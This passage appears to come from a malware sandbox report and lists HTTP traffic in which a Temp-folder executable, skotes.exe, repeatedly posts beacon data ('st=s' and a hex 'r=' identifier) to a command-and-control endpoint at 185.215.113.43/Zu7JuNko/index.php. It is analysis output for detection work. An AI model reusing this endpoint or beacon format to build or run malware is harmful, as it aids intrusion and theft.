Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:33.906754017 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:34.610656023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50117	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:36.126106024 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:36.866202116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50118	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:38.500066996 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:39.236361980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50119	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:40.752710104 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:41.475692987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50120	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:43.109410048 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:43.803244114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50121	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:45.332324028 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:46.038325071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50122	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:47.672801971 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:48.382168055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50123	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:49.893321037 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:50.599742889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50124	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:52.235011101 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:52.955812931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50125	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:54.484031916 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:55.196468115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50126	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:56.828373909 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:57.539057970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50127	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:59.063226938 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:59.758683920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50129	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:01.393776894 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:02.100059032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50130	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:03.627937078 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:04.332911968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50131	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:05.970216990 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:06.679706097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50132	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:08.203538895 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:08.898174047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50133	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:10.656656981 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:11.365787983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50134	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:12.892556906 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:13.591973066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50135	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:15.207062960 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:15.906959057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50136	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:17.423823118 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:18.138993979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50137	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:19.752568960 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:20.456340075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50138	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:21.969459057 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:22.682841063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50139	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:24.312710047 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:25.035614014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50140	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
